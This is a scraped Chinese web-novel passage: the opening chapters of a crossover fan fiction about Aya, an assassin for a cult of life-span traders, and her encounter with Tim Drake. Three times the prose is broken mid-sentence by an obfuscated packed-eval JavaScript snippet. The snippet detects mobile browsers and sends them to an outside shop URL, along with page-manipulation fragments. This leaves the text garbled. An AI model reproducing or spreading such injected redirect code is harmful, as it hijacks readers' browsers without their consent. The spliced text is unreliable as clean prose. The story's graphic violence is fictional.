《从密教流亡到哥谭》 1. Chapter 1 刺耳的哄笑声,清脆的酒杯碰撞声,筹码划过桌面的哗啦哗啦声。 香烟混杂啤酒,遮不住汗臭的劣质香水,一点微不可查的血气。 这是佛罗伦萨街头再普通不过的一座小酒馆。然而和它那些生意兴隆的同类不同,所有从它旁边经过的人都神色匆匆,跟没长眼似的,半点不往里面看。 只因此地被精妙的无形之术防护。不知晓痛苦的,不能穿透黑暗;不具备伟力的,无法进入门扉。 而且考虑到这个酒馆背后的势力究竟做的是什么生意,貌不惊人的它,也就变得不容侵犯、极具威严起来了: 这里是“清算人”的分部之一。 人活着,就会死。 这虽然看起来很像一句废话,但假使如果有一种手段,能够把人们的寿命,变幻成记录在账簿上的一串串数字,再通过金钱、权力、军火和美色等种种手段,使其流通起来进行交换,那么,假使你大权在握、富可敌国,那你还会死吗? 自然不会了。 “清算人”就是这样一个蜚声国际的武装势力。其组织成员分布在各个城市中,与顾客进行谈判——当然有的时候也免不了进行一些“自愿的慷慨捐赠”——以收获寿命、金钱、珠宝和当地权威的关注。① 眼下清算人的生意做得蒸蒸日上,但凡有点脑子的,就不敢轻视这个密教组织。 因此,当酒馆大门突然被推开时,所有或坐或站的人,都齐齐将诧异的、警惕的、玩味的目光投向来者,也就很正常了。 在无数人的注视中,黑发红眸的女子大步踏入这间酒馆。 她的长发梳成低马尾垂在肩上,黑衬衫外面套着件考究的羊毛大衣,马裤塞在锃亮的长靴里,勾勒出她修长笔直的小腿。行走起来,大衣衣摆微微向两边分开,便能看见她腰间捆着OWB枪套,斜插两把德式HK_P7。 明明这只是再普通不过的酒馆,然而,她只要一踏进这里,整个弥漫着酒精和烟味的空间,都仿佛要为之一清。 因为那是最极致的锋锐与寒冷,而这种气息,只会出现在视人命如草芥、杀人如吃饭喝水睡觉一样寻常的亡命之徒身上。 退一万步讲,别的不说,光看她腰间那两把连保险都没有,拔出来就能进行死亡快射的手/枪,就知道这人绝对是个狠角色。 因此,哪怕她一言不发,只是站在那里,再从门口走进来而已,但所有人竟都莫名觉得,有一柄利刃迎面劈来,风声猎猎,刀身雪亮,锋芒毕露,出鞘就要饮血。 一瞬间,大笑声,谈话声和酒杯碰撞声全都停止了。 大门在她身后关上,隔绝了从外投来的光线。昏黄的灯光下,一枚雕刻精美的黄铜筹码不知道从谁的桌上一路滚落,直直撞在她的靴尖,慢慢放倒,发出了一声几不可闻的“叮”的脆响。 也正是这一声脆响,就像打开了什么开关似的,数位原本或坐在角落里冷眼旁观,或在吧台前漫不经心品酒,或位于众人簇拥中心的清算人小头目齐齐起身,飞速向她走来。 不少普通清算人,已经摆出了一副“等下死的时候血别溅我身上”的态度,避之不及绕开,生怕被卷入争斗,尸骨无存。 结果这些小头目,这些清算人里仅次于首领的高级干部,随便一个,都能靠一己之力,在欧洲小国掀起腥风血雨的恶徒,竟在来者的面前毫不犹豫单膝跪下,齐声道: “阿娅小姐!” 连小头目都跪下来行礼了,还有人敢站着么? 数息之间,酒馆内响起好一阵叮铃哐啷的桌椅翻倒、杯碟碰撞的声音。无数人或茫然或恍然大悟半跪下来,朝向她所在的方向,参差不齐地开口附和: “阿娅小姐!” 直到此时,自从来到这个接头点,就始终保持沉默的女子终于开口了。 她说的第一句话是:“这里烟味太重了,很呛。” 成天在生死边缘游走的人,除去心理变态能以杀戮为乐的,哪个不用烟草、酒精、美色和各种药物麻痹自己?但既然她这么说了,那么,就再也不会有人辩解,不会有人有异议。 立刻有人鲤鱼打挺地从地上弹射起来,三步爆冲十米,飞奔到窗边去开窗通风。手上还有烟的人连滚带爬冲到垃圾桶旁边熄烟,数人喃喃念诵咒术,空中便蔓延开冬日的风。 只三秒,原本气味污浊、声音嘈杂的酒馆,顿时变得澄静、沉默,如白雪覆盖过的荒野。 此时,再站在这里显得突兀的,便不是不速之客“阿娅小姐”了,而是一干清算人。 在这一片寂静得令人汗毛倒立,澄澈得几乎毫无生机的气息中,黑发红眸的女子说的第二句话是: “我奉首领之命,前来追杀叛逃的‘赫达·德雷克’。” 酒馆老板跌跌撞撞从吧台后踉跄出来,陪着笑将一个火漆封口的文件袋塞进女子手中:“我之前就担心,按照目标展现出来的超强武力和智慧,普通的小头目根本对付不了他。” “但既然来的是阿娅小姐,那就没问题了!这么多年来,不管是追杀叛徒还是探险寻宝,阿娅小姐都从未失手,眼下这小子竟然撞在您手里,真是他倒了八辈子血霉,希望他下辈子能投个好胎吧。” 黑发女子不置可否地接过文件袋,随即侧头一瞥,对某位不知何时已经挤到她身边的年轻男子轻声道: “你想死吗?” 男子面色一白,将手从她的大衣口袋里抽出,顺便把已经夹在指间的钱夹塞了回去,一滴几不可查的冷汗从他鬓角缓缓滑落。 他的动作不可谓不轻,不快。 在被清算人组织作为特工招揽进来之前,他是那条街上手法最好的小偷,偷过的珠宝、名表、现金和各种证件数不胜数,甚至靠着这一手本事,置办了数套百万豪宅。 哪怕现代社会已经有了无孔不入的监控,二十年间,警方也没能抓住他,只能眼睁睁地看着他耀武扬威,这家伙就差没脱裤子在警方头上直接拉屎了。 被清算人招揽后,他便始终修行“蛾”准则的无形之术。这一准则象征着变化与混沌,最顶级的小偷加上最合拍的无形之术,简直就等于给哈利·■特配备了除你武器,本该如虎添翼、锦上添花—— 然而,抱着“让我试试这个女人到底有几斤几两”想法的前大盗、现清算人特工,刚把手伸进去,就被她逮了个正着。 不像是“被害者”发现了“小偷”,而是“以人类为食的掠食者”,发现锅里的炖鸡正在吃配菜土豆。 完全降维打击的观察。何等轻而易举,易如反掌。 清算人特工顶着她毫无感情的注视,和数位同僚已经与看死人无异的眼神,结结巴巴辩解道:“久仰阿娅小姐大名……我、我只是想看看您是不是名副其实……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016345|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黑发女子点点头,说出了她今天在此地的最后一句话: “那就是想。” 说完,她便将文件袋夹在大衣内侧,如来时一样沉默而笔直地离开了,将一堆还没敢从地上起来的清算人同僚们扔在了原地,半点和这些无名之辈打招呼的意思都没有。 众清算人或劫后余生或茫然地从地上爬起。一阵冷风打着旋儿从门缝挤进来,催逼得一个沉不住气的年轻清算人嘴一哆嗦,没把住门,将心底的疑惑脱口而出: “多么傲慢!但她到底是什么人呢?” 酒馆老板一边收拾刚刚翻倒摔碎的玻璃杯,一边回答道: “你不知道她吗?也难怪,普通的清算人接触不到她很正常。” 在一干人或好奇或恐惧的目光下,酒馆老板将来者的身份娓娓道来: “她是首领最宠爱、最信任的养女,阿娅。” “十八岁那年,她升成了小头目,成为了清算人历史上最年轻的高级干部,这是首领送给她的成年礼物。” 立时便有人笑骂道:“你没说实话,老狗!首领有那么多的亲生子女和养子养女,他是不会因为区区一个‘收养’的关系,就对人另眼相看的!” 酒馆老板也笑道:“是啊,首领有那么多的孩子,可他为什么只偏爱这一个呢?” 他抬眼望向一旁僵硬地坐着的,试图偷走阿娅钱包的清算人特工,叹了口气道: “因为她的确有傲慢的资本。她经手的寿命有千百年之久,她诛灭的叛徒无一幸存,她杀死的各种超自然生物数不胜数。” “她曾经挑起过两国战争,从中攫取金钱、权力、科技和寿命,又在当局的追捕下翩然离去,不留一点踪迹。如此算来,或间接或直接死在她手里的人,已有十万人之多。” ——十万人。 这个数字可以出现在战场上,成为钢铁洪流下的冤魂;可以出现在历史书上,成为大人物们荣誉的勋章。 但如果出现在一个活生生的人身上,而这个人刚刚还从你身边经过了的话,在你后知后觉反应过来的那一刻,你就会觉得,风里都带着血气。 有人这么想的,也就这么说了:“……我怎么觉得,空气里好像真的有血味?” 酒馆老板不语,只推了一下那个试图从阿娅口袋里偷东西的清算人特工。 只这么轻轻一推,他的头,就平滑地从颈子上落了下来,随后,鲜血才爆涌而出。 谁也没看见阿娅是怎么做到的,她便杀死了这个胆敢冒犯她、试探她的同僚。 人体内有那么多的骨骼和血肉,支撑着头的颈骨更是重中之重,然而,这一刀下去,切口竟然有相当一部分是平滑的,而且足足数分钟过去,他的尸体都竟然未曾倒下,饶是刀尖舔血的清算人们,都未能察觉他的死亡。 锋利的刀,就该搭配更锋利的刀法,才能日日饮血,得以饗足;能掌控这种绝世凶器的,便唯有比它更锋利、更尖锐、更可怕、更威严的人。 不知何时死去的特工的头颅,“砰”一声砸在地板上,鲜血飞溅,骨髓横流,红红白白混作一滩好不热闹。众清算人噤若寒蝉望去,此时,墙上的大钟连敲八下,钟摆摇动间,向所有人无声而庄严地宣告: 她说了四句话,接了一个任务,杀了今天的第一个人。 现在是早上八点,现在,她要去杀第二个。 2. Chapter 2 阿娅亲手杀死过许多叛徒。 这些叛徒,无论男女老少,见到她的第一反应都是绝望。 因为清算人的首领既然已经派出了他最锋利的这把刀,那么,带回来的便只能有两种东西: 第一,叛徒的头;第二,阿娅的死。 再不会有第三种可能。 总之,叛徒们在最初的绝望后,其反应也是五花八门大不相同: 有人会狗急跳墙,试图和阿娅决一死战;有人会求饶,试图用自己的迷途知返换得性命。 有人花言巧语打感情牌,试图让阿娅看在这么多年的同僚情谊的份上,放自己一马,也有人会许以重利,想买通她。 ——然而,然而。 和她决一死战的,眼下都已化作枯骨一具,不知埋在何方;对她求饶的,死前受尽酷刑,伤痕累累,甚至被折磨得不再求饶,但求一死。 与她推心置腹的,死前被割下嘴唇、拔掉舌头,避免这一条巧舌在死后能找到虚界的道路,从亡者的世界重返人间;许以重金的,便要将性命也一同许诺出去,成就她愈发鼎盛的威名,和日益攀升的存款数字。① ——然而,然而。 此次的叛徒绝非常人,阿娅站在旅馆的房间门前,彬彬有礼地敲了敲门,竟然从门内得到了一个相当体面的、甚至带着笑意的回答: “请进,清算人小姐。” “我等你很久了。” 阿娅应声推门而入,倒吓了这位背门而坐的叛徒一跳,使得他原本含笑的声音里都带了一点不可思议的疑惑: “……你完全不设防的吗,我让你进来,你就真的进来?” 很少有人能跟阿娅用如此平常的口吻聊天。 追杀时如此,日常也如此,因为清算人的首领杜弗尔,如恶龙看守珍宝一样将她拘在身边,手把手教她下棋、出千和杀人,更是在众人面前许诺,“这是我未来的继承者”。② 故而知道她身份的,噤若寒蝉,战战兢兢;不知道她身份的,更无与她交谈的可能。 这对阿娅来说,是一种很新奇的体验,就好像往日只负责与钢铁对撞的利刃,今日竟然要用来切断白云。 这种柔软的、明亮的、飘荡不休的东西,要如何切得断呢?于是恰如这把利刃无法切断云彩与棉花糖一样,阿娅也一板一眼地回答了这位“叛徒”的问题: “无所谓,因为不管你设置了怎样的陷阱,最后都得死。” 这人怔了一下,却不曾害怕,只笑道:“……天哪,你竟然真的是这个样子。” 说话间,他蹬了一下地,那把破破烂烂的椅子“吱嘎吱嘎”地转了过来,使得从进门起,便始终背对着阿娅的他,终于与阿娅面对面相见。 他有一张俊秀得称得上细致的面容,黑发柔顺地贴在颈间,宝石蓝的双眼里闪动着笑意,细细望去,却又能看见一点淬火钢刃般的冷冽。温文尔雅的表象和潜藏其下的战士气质融合在一起,使得他宛如一柄收在鞘中的名刃,仪态优雅,线条流畅。 但只要是有战斗本能的好手,见到他便该知晓,这把刀出鞘时必将精准无误,虽不见血,却同样致命。 而阿娅就是这样一个识货的人。 他们遥遥相望,一站一坐。一个站在暗处,面向明亮的窗口,红眸被映照得宛如血钻;一个坐在渐次浓郁的晨光下,于是他的面容与神情,便有一半都藏在黑暗里了。 阿娅望着面前的英俊男子,声音里竟有一点罕见的茫然:“你不是那个叛徒。你是谁?” 这人狡黠地笑了起来:“我当然是‘德雷克’啊。” 阿娅简直要被绕糊涂了。 她这一辈子活到现在二十年,不是在杀人,就是在学杀人,要么就是在去杀人的路上,清算人首领杜弗尔对她的偏科式教育,使得她变成了这样一个奇怪的矛盾体: 她能拆解无数复杂的机器,能杀人不眨眼地一晚上灭掉一个家族,能够轻松辨别出话语的真假,以肉/体凡胎扛下数百种毒药,精通世界上所有的格斗方式,甚至可以在无氧低温的极端条件下存活十分钟—— 但她不能一个人去星巴克买咖啡。 因为她会觉得整个店里都是居心叵测的敌人,然后因为种种奇怪理由暴起,砍死、炸死、毒死、烧死、扫射死五分钟以内,光临过这家店的所有顾客。 然而也正因如此,阿娅才得以知道,面前这个人说的都是真的: 他是“德雷克”。 他等了自己很久。 他甚至敢关心一个不知何时就会杀死他的人。 问题是,这种超稀有生物哪怕出现在真空的月球上,出现在八千米深的马里亚纳海沟,出现在已经炸得灰飞烟灭了的氪星废墟里,都不可能存在于清算人组织! 阿娅垂下眼,从大衣内侧的口袋里取出文件,认认真真又核对了一次,却找不到半点端倪: “情报上显示,‘赫达·德雷克’是背叛了我们的叛徒,所以我前来诛杀她。” “但你不是清算人。如果组织里有这样的好手,我绝对不会忘记。” 德雷克依然没有从椅子上站起来。 这是很不寻常的事情,因为哪怕是瘸子,在一个杀人如麻、身上的煞气几乎都要凝成实体的人面前,也该挣扎着动两下以示害怕。 但他就这么双手交叠,支着下巴,饶有兴味地坐在那里,胸有成竹、优哉游哉地和阿娅说话: “所以你不杀我,是因为不想滥杀无辜吗?” 阿娅诚实道:“不,是因为我从你的身上嗅到了富豪的气息。” 她端详着面前黑发蓝眼的俊秀男子,却不像是女人在看男人,更像是磨刀霍霍的屠夫,在心满意足地打量一只软乎乎、白花花、肥墩墩的可爱小绵羊: “有钱人最爱和清算人做生意,用金钱购买寿命,以求长生不老。所以我想,你或早或晚,一定会愿意从我这里买些东西。” 德雷克又笑了起来,探究道:“如果我不跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016346|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你做生意呢?” 阿娅理直气壮道:“不做就不做。那你告诉我,‘赫达·德雷克’去了哪里?” 德雷克像是被阿娅的理所应当给震到了似的,沉默了三秒,干巴巴地问: “你就这么直接问吗?不许诺什么利益,也不给我任何东西?如果我是掩护这个叛徒逃走的同谋,那我为什么要告诉你——” 话音未落,黑发红眸的女子陡然拔刀暴起! 第一刀斩碎了正面窗户和墙壁,使得德雷克不得不飞扑向前,免得被砸死在潮水般倾泻下的落石和泥沙下;第二刀直接劈碎了地板、劈穿了两层楼房,断掉了他所有的上下逃生之路。 随即,火光冲天,硝烟弥漫,巨大的爆炸声从地底传来,整座房子都摇晃着发出悲鸣,在隆然的巨响声中颓然倾往一侧。 三层的小楼房哪里经得起几十公斤的TNT!这简直就是用高射炮打蚊子,让菲尔兹奖得主去教小学生算十以内的加减法! 在如此豪横的、不计后果的、当量过剩的爆炸中,整座大楼都在向下塌陷,唯有一抹雪亮得非人间能有的刀光,刺穿砖石、硝烟和尘土直直冲天,一刀将德雷克的衣领钉死在废墟顶端,仅剩的一块凸起的断墙上: 再近一点,他的脖子就要被斩断,重演之前那位清算人特工的悲剧;再松一点,他就要从摇摇欲坠的楼上滚落下去,摔断双腿。 阿娅一脚踏在面前男子的肩膀上,卸掉他两条胳膊,居高临下、面无表情地俯视着他,宛如嗜血的猛兽反向捕猎了人类。 直到倒塌停止,尘埃散尽,她才抽出手/枪,用枪管拍了拍德雷克的脸,彬彬有礼道: “现在,请说。” ——咔哒。 电光石火之间,灰头土脸的年轻男子竟好似完全没有察觉到骨头脱臼的疼痛,甚至借着这个方便的姿势,挣脱了半边身子,随后不知从哪里抽出一副手铐,飞速把两人铐在了一起。 阿娅不理解,并大为震撼。 她已经很多年都没见过这么无害的反抗手段了,这么一看,此人纯良得简直像一只白白胖胖的柯尔鸭,饱满的胸脯和圆滚滚的屁股上都是蓬松的鸭绒,橙黄色的小脚掌还会呱唧呱唧作响。 于是阿娅单手插进手铐,轻轻一挣,就把这副精钢手铐像撕纸片一样扯成了碎块,对面前的男子单刀直入发问: “养你要多少钱?” 德雷克的表情之前一直十分平静,让人恍惚间就有种“万事尽在他掌控下”的错觉。 哪怕刚刚目睹了阿娅近乎人形哥斯拉的力量,他看向阿娅的眼神里,也没有半分恐惧,取而代之的是满满的“意料之中,理应如此”的钦佩和赞赏。 直到阿娅问出这句话,他脸上的表情才僵住了、裂开了。 一抹薄红从他的耳根飞速扩散开来,他欲言又止地看了阿娅好半晌,似乎想说些什么,然而最后,却只是有气无力道: “……要不我们还是谈谈‘叛徒’去向的问题吧。” 3. Chapter 3 “全名?” “提摩西·杰克逊·德雷克。” “年龄?” “22。” “与‘赫达·德雷克’的关系是?” “朋友。” 阿娅停顿了一下,诚恳发问:“我看起来像是很好骗的蠢货么?” 德雷克比她更诚恳:“小姐,如果你真能说服她接受我的求婚,我将不胜感激。” 阿娅又想了想,还是没能想通,为什么共享一个姓氏、甚至能用性命掩护对方撤离的人,却只是“朋友”: 如果不喜欢,那为什么会这么做?如果喜欢,直接抢过来不就行了?如果抢来的人想逃跑,就打断腿关起来,威胁洗脑、注销户籍、伪造死亡证明,这一套下来,不就把爱人牢牢握在手心里了?此人却如此优柔寡断,真是荒谬。 最终,阿娅只能得出一个结论,果然专业的事情就应该让专业的人来做。她不适合打听情报,只适合杀人。 于是她回到最初的那个问题,活动了一下手腕,把指关节按得咔哒咔哒响:“你如果说出她的去向,我可以让你死得痛快点。” 德雷克从善如流:“好吧,那我说。” ——阿娅遗憾地放下了手。 德雷克:“根本就没这个人。我编造了这套假身份,把它放进清算人的系统,因为我知道,按照这个任务的紧急和困难程度,唯一会前来的人就是你。” ——阿娅面无表情地提起了拳头。 然而就在她一拳把这人打得颧骨开裂之前,来自清算人首领的信息,已经先一步抵达了阿娅的通讯器: 【停止追杀,把活着的原目标带回来。】 ——阿娅满头雾水地放下了手。 德雷克往阿娅身后看去,突然很轻地笑了一声:“噗。” 阿娅用余光一瞥,就知道这家伙在笑什么了: 他们身后是一家停业休整的超市。超市半边都被爆炸波及得蒙满了灰尘,门口摆着的硕大的招财猫却完好无损,这猫的手还在一上一下一起一落地摇。 阿娅沉默了三秒钟,随即抬起头来,对面前的年轻男子诚恳道: “你可以大声笑,我不介意。但要加钱。” 德雷克慢吞吞从地上爬起来,给自己脱臼的胳膊做了个紧急复位: “真不巧,我没带钱。” 阿娅回想了一下自己刚刚隔着一件衬衫,都能摸到的劲腰和腹肌,觉得按照这人的单薄穿着,的确不像是能把钱带在身上的样子。但如果真想从这人身上敲点什么出来,也不是不行,把他卖给经常搞淫趴的那帮杯教疯子就很有赚头,便循循善诱道:“这个可以有。” 德雷克看了阿娅一眼,竟好像看穿了她在想什么似的,被气笑了:“……这个真没有。” 阿娅失望地叹了口气,伸手就去抓德雷克的衣领,打算像拖麻袋一样把人带回最近的联络点,就在此时,德雷克却突然说话了: “可我有另外的东西要给你。” “是一张不记名的十年份灰烬账簿。” 执掌寿命的司辰名为“昕旦”,灰烬账簿是她用于管理和决定寿命的工具。她允许包括清算人在内的少数几个组织使用灰烬账簿,进行寿命交易……当然,负责交易的清算人可以在其中吃点回扣,让自己也能活得久一点。① 但从古至今,只要是跟“长生不老”相关的交易,就都不太好做。谁会轻易把自己的寿命卖出去呢?毕竟钱没了可以再赚,但命没了,这辈子就真的完了。 因此,哪怕是清算人首领杜弗尔本人,想要一口气拿出百年以上的灰烬账簿,也不太可能;哪怕十年份的灰烬账簿,能无视任何伤情和疾病,把只剩一口气的人从死亡的边缘活蹦乱跳带回,阿娅也从来没用过十年份的灰烬账簿疗伤,只能在有空的时候去住院疗养,没空的时候就自己硬抗。 可想而知,这张承载着四亿次人类心跳的、价值十年寿命的支票,有多珍贵。 区区“价值连城”根本描绘不出它的十之一二,因为那些为了追求长生不老而近乎疯狂的政客、富豪和科学家,是真的可以为了得到它,而毁灭一个国家! 于是,德雷克话音未落,便十分有先见之明地一个后仰,堪堪躲过阿娅朝他脖子的肘击,反手抓住阿娅的脚踝,试图把阿娅拖倒在地。 阿娅条件反射下,一记扫堂腿踢出,人类肉/体极限力量的八百公斤,带着沉重的、可怖的风声咆哮而来,只要德雷克松手的速度慢上一秒,他这整条胳膊就得粉碎性骨折! 他不松手,这条胳膊就得断掉;但他如果松手,那么接下来就是阿娅的主场。 黑发女子饿虎扑食般将他撞倒在地,死死压在他身上,双手掐住德雷克的脖子,却再也没有拔刀和动枪了,那双血钻一样的眼睛里燃烧着熊熊的警惕、野心和贪婪: “给我!!!” 德雷克努力挣扎了一下,没能成功,只好一边徒劳地掰着阿娅的手,一边从衬衫内侧的口袋掏出张写有罗马数字“X”的羊皮纸,呛咳着断断续续开口: “我要求……进行无形之术修习者之间的……等价交换。” ——司辰之间诚然有“交换”的行为。众司辰在第一栖木首次交换秘密,扎迦利和科基尔交换了“伟大伤疤”的寓言,基尔夫人和阿迪姆互相交换谚语。② 司辰们如此行为,人类便也如此效仿,以求能够如司辰般,获得更多、更强大的力量。 于是,在交换黄金时,你大可言而无信;但假使你要交换的,是生命、力量、祝福、诅咒等一切与无形之术相关的东西时,你最好诚心诚意。 这番话说出口,阿娅看向他的眼神再度发生了变化,从一开始的“看死人”到“看肥羊”再到“看宠物”,眼下,在这张支票出现的那一刻,她才终于把面前的人,当成“人”来看: “当然可以,德雷克先生。” 她不仅松开了手,把德雷克从地上拉起来,甚至还态度殷勤地给他拍了拍身上的灰尘。然而这并没有什么用,因为在数次交锋中,此人身上的衣服早就被阿娅的武器开了不知道多少裂口,好一个“千丝万缕”。 ——总之,你别管这个行为有用没有用,你就说态度到位不到位吧。对一个都没怎么接受过社会化训练的人来说,这已经是她最高级的社交礼仪了! 换正常人来,多半会尴尬一下,不管是因为“刚刚差点被我不分青红皂白打死的人,竟然不计前嫌卖给我这么好的东西”,还是单纯因为几乎半裸的战损版帅哥很有诱惑力。 但阿娅半点多余的感情也没有,只伸出手,摊开在德雷克的面前,冷静道: “我名下能直接动用的现金有六亿,持有十七家跨国银行的核心股权,分布在欧美各国的豪宅、马场、庄园共有两百处,不计在任何国家名下的稀土矿、油田和金矿十座,利润率在百分之三百以上的军火交易线有八条。” “只要你愿意把这张支票卖给我,不管你看上什么,提摩西·德雷克,只管取走,我必不反悔。” 黑发蓝眼的年轻男子揉了揉颈侧正飞速变成深红色的掐痕,却好似半点疼痛也没察觉,只定定望向阿娅: “我只交换三件东西。” “第一,请叫我‘提姆’,我的家人和朋友都这样称呼我。” 阿娅飞速改口:“好的,提姆。你还要什么?” 提姆继续道:“第二,我要你发誓,这张灰烬账簿只能用在你自己身上。” 这一次阿娅沉默了很久,才皱着眉瞪了回去,冷声道:“我很强,我不需要。首领说过,所有散落在外的灰烬账簿都应该收归回去——” “你需要的。”提姆低头看了看她的腹部,确信道,“因为我知道,你已用自身的血肉为代价,穿过蜘蛛之门。”③ “昕旦让你们有权使用灰烬账簿,将权柄从‘神灵’下放到‘人类’。作为代价,清算人不得进入漫宿,或者不能轻易进入漫宿,否则便会引来众多司辰的注意,这将带来毁灭性的后果。” “因此,你们的首领杜弗尔,不仅禁止任何清算人前往神龛,更不允许你们进入漫宿,供奉、祭拜和追随司辰,他不希望卷入漫宿的争斗。” “说明白一点,他在把你们所有人都当耗材用,你也只不过是其中最好用的一块罢了。” 他伸手在阿娅的面前停留了数秒,让阿娅能完全看清他的动作,才缓缓将手拢在阿娅后颈,替阿娅把散乱的马尾拨开,就像人类在投喂流浪猫前,要让这可怜的小动物闻清自己的气味、知道自己是前来帮助它的无害的人一样: “近年来,他派给你的任务愈发繁重、危险。你不想死,就只能自行修习更高级的无形之术,提升自己的能力,而这无疑是违禁之举。” “即便清算人里,有少数天赋异禀、无师自通了无形之术的,这些人从踏入漫宿的那一刻,就决定了他们永远不会被你们吸纳进核心的边缘人物的命运。更何况清算人恶名在外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016347|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便你想求学,可谁能教你?” “所以你只能从辛苦搜罗到的零碎资料中,探寻在漫宿中攀升的办法,就这样一知半解、跌跌撞撞攀升到蜘蛛之门,并在此处献出了自己的一半内脏,作为血肉的祭品。” 被汗水、鲜血和烟尘黏在颈侧的发丝,一根根从阿娅的皮肤上脱离下去,触感分明,引发连绵的、轻微的战栗。 如此慢条斯理的动作,明明应该是在表示友好,却莫名让阿娅有种被注视、被剖析、被/操控的束缚感和压迫感,连带着他这一声似笑非笑的叹息,都一并变得令人寒毛直竖: “你就是拖着这具少了半幅内脏的身躯,横跨过半个大陆来追杀我的吗?多辛苦啊,好姑娘。” 阿娅感觉自己的鸡皮疙瘩都起来了。 但这种感觉,却与以前的任何一次都不一样。 以前,在她连成年人的小腿高都没有的年纪,连名字都没有,只是首领无数子女中最不起眼的那一个。 她常常见到浑浊的、鄙视的、色/欲熏心的各种眼神,挣扎着躲过无数想要利用她、杀死她、玩弄她的手。 直到后来,她在一次反抗中,把试图猥亵她的三个成年男性捅了个两死一伤,收到信息赶来的杜弗尔饶有兴味地看了她很久,才纡尊降贵将她单手抱起,对所有人宣布了她正式的名字,“阿娅”,并把她接到身边亲自教养。 幼时的阴影延续至今,久久挥之不去,故而在阿娅的眼中,人和人的亲密接触,永远都带着令人作呕、毛骨悚然的恶心和滑腻。 然而为什么提姆带给她的感觉,却完全不一样呢? ——因为人描绘不出,自己没见过的东西。 没见过有钱人的创作者,永远写不出真正的一掷千金、纸醉金迷;一辈子遵纪守法的好牛马,在被压榨得流干了血泪后,却连报复社会,都不知道要从何做起。 同理可证,没有爱过人也从没被好好爱过的一把刀,在冰天雪地里孤身一人跋涉过二十年后,突然被劈头盖脸砸下来的温暖裹了满怀时,她的反应也只能有两个: 这是我斩不断的东西。这是和以前截然不同的东西。 于是到头来,她明明能半秒之内,就把提姆乱动的那只手给折断十指,却只是浑身紧绷地站在原地,任由提姆给她整理好了头发、立好了衬衫领口,才僵硬道: “……你只剩最后一个机会了。” “那么,拿去吧。”提姆收回手,隔空点了点阿娅的大衣口袋。阿娅这才发现,这家伙趁自己全神贯注戒备他那只手时,竟然偷偷把灰烬账簿塞了进去: “我想要的,刚刚已经都得到了。” 天色已然大亮了。再过数分钟,“黎明”就要消失,“上午”转而到来。想要用十年份的灰烬账簿疗伤,只有在黎明时使用,才能起效。④ 谁也不知道阿娅在作出这个选择之前,到底思考了多久。 或许在今日之前,她就想过要谋私,要为自己打算,先把自己缺失的内脏补回来再说;也有可能她对清算人、对首领兼养父的忠诚自始至终都无需质疑,只不过在今天,面对如此巨大的利益时,才被冲昏了头脑,做出了一个热血上头的决定。 总之,就在黎明最后几分钟的尾巴尖尖上,那张支票被点燃了。 与有形世界的物理规则和生物常识截然相反,火焰灼烧之下,这张正在沉默燃烧的支票,没散发出任何蛋白质的臭味,唯有冷冽的、甚至带有金属味儿的气息幽幽透骨。 最后一颗火星落下,最后一道寒风掠过,来自不知何许人的、以十年计的四亿道心跳声,在阿娅耳边一瞬响彻,震耳欲聋。 她空虚多年的腹内终于得以充盈,长出血肉,新生的器官随着她的每一次深吸气欢畅蠕动,始终隐隐作痛的五脏六腑,正飞速平息下去。 前所未有的生命力在阿娅的血管中迸发流淌、鼓噪欢呼,冲刷掉沉积多年的苍白与死寂,连指尖与发梢都在产生愉悦的酥麻和战栗。 一整个春天在她身体里爆发,那么生机勃勃,那么充满希望,欣欣向荣得让阿娅几乎都有些飘飘然了。 于是在这一刻,她不仅胆敢畅想,“就算首领要责怪我、处罚我,有这张十年的支票,我也不算亏”,更敢去思考某些她从来都避犹不及的问题: 我明明经手了千百年的寿命,可为什么自己,竟然连疗伤用的区区十年,都不能拥有? 如果这真的是“重视”,我为何会窘迫至此? 4. Chapter 4 “姓名?” “阿娅。” 被临时抓来审问阿娅的这个小头目,刚刚升上来不到一个月,不光没见过首领杜弗尔,连同伴的脸都没认熟,自然也就还没来得及听说“阿娅”这个对绝大多数高级干部来说,都如雷贯耳的名字。 于是他不仅没有害怕,反而好奇起来了,试图和阿娅进行一番深入交流:“这是什么拟声词吗?” 身上没任务的阿娅已经掩下了所有的锋芒和杀气,正处于“薛定谔的正常人”的状态。 不得不说,这种状态下的她看起来还蛮赏心悦目的,鼻梁高,眼窝深,黑发红眸的配色更是标准的浓颜系美人,难怪这个小头目一直在拼命和她搭话,语气还是该死的温和,半点不像审问,更像约会。 可惜阿娅根本不吃这套,杀人机器的脑子里根本没这根弦,只一板一眼回答道:“不,这就是我的名字。” 